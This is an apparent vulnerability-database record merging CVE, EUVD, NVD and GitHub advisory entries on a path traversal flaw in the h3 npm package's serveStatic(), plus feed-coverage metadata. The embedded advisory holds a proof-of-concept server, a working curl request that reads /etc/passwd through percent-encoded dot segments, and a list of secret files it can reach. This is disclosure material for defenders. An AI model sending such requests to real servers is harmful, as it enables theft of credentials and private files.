{"id":"GHSA-jh84-7pcc-38gf","revision":null,"records":[{"revision":"c9549ccb9512496e893c1c1045cc99b1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-86253","aliases":[],"title":"h3 before 1.15.6 Path Traversal via Percent-Encoded Dot Segments","description":"h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.","state":0,"publishedAt":"2026-09-06T12:00:28.232+00:00","modifiedAt":"2026-09-10T15:04:40.108+00:00","affected":[{"ecosystem":"Vendor product","name":"h3","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"h3js\",\n                    \"product\": \"h3\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/h3\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"lessThan\": \"1.15.6\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"1.15.6\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"2.0.0-beta.0\",\n                            \"status\": \"affected\",\n                            \"lessThan\": \"2.0.1-rc.15\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"version\": \"2.0.1-rc.15\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.2,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/h3js/h3/security/advisories/GHSA-wr4h-v87w-p3r7","https://www.vulncheck.com/advisories/h3-before-1.15.6-path-traversal-via-percent-encoded-dot-segments"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-86253","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-86253","identifiers":["CVE-2026-86253"]},"retained":false,"historicalAffected":[]},{"revision":"340b9420e9764a7fb3558b1d81a05640","observedAt":"2026-11-13T18:04:17.592+00:00","statement":{"source":"euvd","id":"EUVD-2026-72109","aliases":["CVE-2026-86253","GHSA-jh84-7pcc-38gf"],"title":"h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded t…","description":"h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.2,"severity":null}],"references":["https://github.com/h3js/h3/security/advisories/GHSA-wr4h-v87w-p3r7","https://www.vulncheck.com/advisories/h3-before-1.15.6-path-traversal-via-percent-encoded-dot-segments"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-72109","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 6, 2026, 12:00:28 PM","dateUpdated":"Sep 10, 2026, 3:04:40 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-72109","identifiers":["EUVD-2026-72109","CVE-2026-86253","GHSA-jh84-7pcc-38gf"]},"retained":false,"historicalAffected":[]},{"revision":"8c1241bdc70148f6b8e8c63f69f9aa62","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-86253","aliases":[],"title":"h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded t…","description":"h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.","state":0,"publishedAt":"2026-09-06T12:17:16.163+00:00","modifiedAt":"2026-09-10T16:18:02.287+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.2,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/h3js/h3/security/advisories/GHSA-wr4h-v87w-p3r7","https://www.vulncheck.com/advisories/h3-before-1.15.6-path-traversal-via-percent-encoded-dot-segments"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86253","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-09-06T12:17:16.163","lastModified":"2026-09-10T16:18:02.287"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-86253","identifiers":["CVE-2026-86253"]},"retained":false,"historicalAffected":[]},{"revision":"f914f56d996440b3b81e15956b607e33","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-wr4h-v87w-p3r7","aliases":["CVE-2026-86253"],"title":"h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read","description":"## Summary\n\n`serveStatic()` in h3 is vulnerable to path traversal via percent-encoded dot segments (`%2e%2e`), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.\n\n## Details\n\nThe vulnerability exists in `src/utils/static.ts` at [line 86](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86):\n\n```typescript\nconst originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));\n```\n\nOn Node.js, h3 uses srvx's `FastURL` class to parse request URLs. Unlike the standard WHATWG `URL` parser, `FastURL` extracts the pathname via raw string slicing for performance — it does **not** normalize dot segments (`.` / `..`) or resolve percent-encoded equivalents (`%2e`).\n\nThis means a request to `/%2e%2e/` will have `event.url.pathname` return `/%2e%2e/` verbatim, whereas the standard `URL` parser would normalize it to `/` (resolving `..` upward).\n\nThe `serveStatic()` function then calls `decodeURI()` on this raw pathname, which decodes `%2e` to `.`, producing `/../`. The resulting path containing `../` traversal sequences is passed directly to the user-provided `getMeta()` and `getContents()` callbacks with no sanitization or traversal validation.\n\nWhen these callbacks perform filesystem operations (the intended and documented usage), the `../` sequences resolve against the filesystem, escaping the static root directory.\n\n\nBefore exploit:\n\n<img width=\"761\" height=\"97\" alt=\"image\" src=\"https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627\" />\n\n### Vulnerability chain\n\n```\n1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd\n2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)\n3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)\n4. getMeta(id):       id = \"/../../../etc/passwd\"         (no traversal check)\n5. path.join(root,id): /etc/passwd                        (.. resolved by OS)\n6. Response:          contents of /etc/passwd\n```\n\n## PoC\n\n### Vulnerable server (`server.ts`)\n\n```typescript\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"h3/node\";\nimport { readFileSync, statSync } from \"node:fs\";\nimport { join, resolve } from \"node:path\";\n\nconst STATIC_ROOT = resolve(\"./public\");\nconst app = new H3();\n\napp.all(\"/**\", (event) =>\n  serveStatic(event, {\n    getMeta: (id) => {\n      const filePath = join(STATIC_ROOT, id);\n      try {\n        const stat = statSync(filePath);\n        return { size: stat.size, mtime: stat.mtime };\n      } catch {\n        return undefined;\n      }\n    },\n    getContents: (id) => {\n      const filePath = join(STATIC_ROOT, id);\n      try {\n        return readFileSync(filePath);\n      } catch {\n        return undefined;\n      }\n    },\n  })\n);\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)\ncurl -s --path-as-is \"http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n\n### Result\n\n```\nroot:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n...\n```\n\n\nProof:\n\n<img width=\"940\" height=\"703\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1\" />\n\nPwned by **0xkakashi** \n\n<img width=\"942\" height=\"74\" alt=\"image\" src=\"https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95\" />\n\n\n## Impact\n\nAn unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with `%2e%2e` (percent-encoded `..`) path segments to any endpoint served by `serveStatic()`.\n\nThis affects any h3 v2.x application using `serveStatic()` running on Node.js (where the `FastURL` fast path is used). Applications running on runtimes that provide a pre-parsed `URL` object (e.g., Cloudflare Workers, Deno) may not be affected, as `FastURL`'s raw string slicing is bypassed.\n\n**Exploitable files include but are not limited to:**\n- `/etc/passwd`, `/etc/shadow` (if readable)\n- Application source code and configuration files\n- `.env` files containing secrets, API keys, database credentials\n- Private keys and certificates","state":0,"publishedAt":"2026-03-18T16:18:32+00:00","modifiedAt":"2026-09-10T03:50:41.5747164+00:00","affected":[{"ecosystem":"npm","name":"h3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0"},{"kind":"fixed","version":"2.0.1-rc.15"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"h3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.15.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/h3js/h3/security/advisories/GHSA-wr4h-v87w-p3r7","https://github.com/h3js/h3/commit/0e751b4059060f2ade01a0bdfd96b0f5ffc8a26d","https://github.com/h3js/h3","https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86"],"sourceUrl":"https://github.com/advisories/GHSA-wr4h-v87w-p3r7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wr4h-v87w-p3r7","identifiers":["GHSA-wr4h-v87w-p3r7","CVE-2026-86253"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T02:30:47.8730310+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T02:30:47.873031+00:00","lastSuccessAt":"2026-11-15T02:30:48.0284679+00:00","error":null,"lastVerifiedAt":"2026-11-15T02:30:48.0284689+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-4a3b956be05e66f2d334d680698b5f8b1ae425e61f61bc83c4992e5887bfe17d","complete":true,"records":425766,"lastAttemptAt":"2026-11-15T02:30:47.2010811+00:00","lastSuccessAt":"2026-11-15T02:30:47.193798+00:00","error":null,"lastVerifiedAt":"2026-11-15T02:30:47.2010811+00:00","snapshotPublishedAt":"2026-11-15T02:22:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-fffeee11411049318edc5a8d2dca1046","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T02:40:11.1475507+00:00","lastSuccessAt":"2026-11-15T02:40:11.142+00:00","error":"18 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T02:40:11.142+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13856,"expectedIdentifiers":13874,"failedIdentifiers":18},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T02:30:47.8730310+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T02:30:47.873031+00:00","lastSuccessAt":"2026-11-15T02:30:48.0298151+00:00","error":null,"lastVerifiedAt":"2026-11-15T02:30:48.0298198+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b4e16143cf664d0aa856e1009c943b33","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T02:30:50.0807193+00:00","lastSuccessAt":"2026-11-15T02:30:50.077+00:00","error":null,"lastVerifiedAt":"2026-11-15T02:30:50.077+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T02:30:47.8246194+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T02:30:47.8246194+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T02:30:47.3421403+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T02:30:47.3421403+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T02:30:47.8368492+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T02:30:47.8368492+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-deb41cb32d3b3d67de7960b1647d789a5218551d33a54a4b027ba315bcba590f","complete":true,"records":232473,"lastAttemptAt":"2026-11-15T02:30:47.7245904+00:00","lastSuccessAt":"2026-11-15T01:46:53.6377511+00:00","error":null,"lastVerifiedAt":"2026-11-15T02:30:47.7245904+00:00","snapshotPublishedAt":"2026-11-15T00:48:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}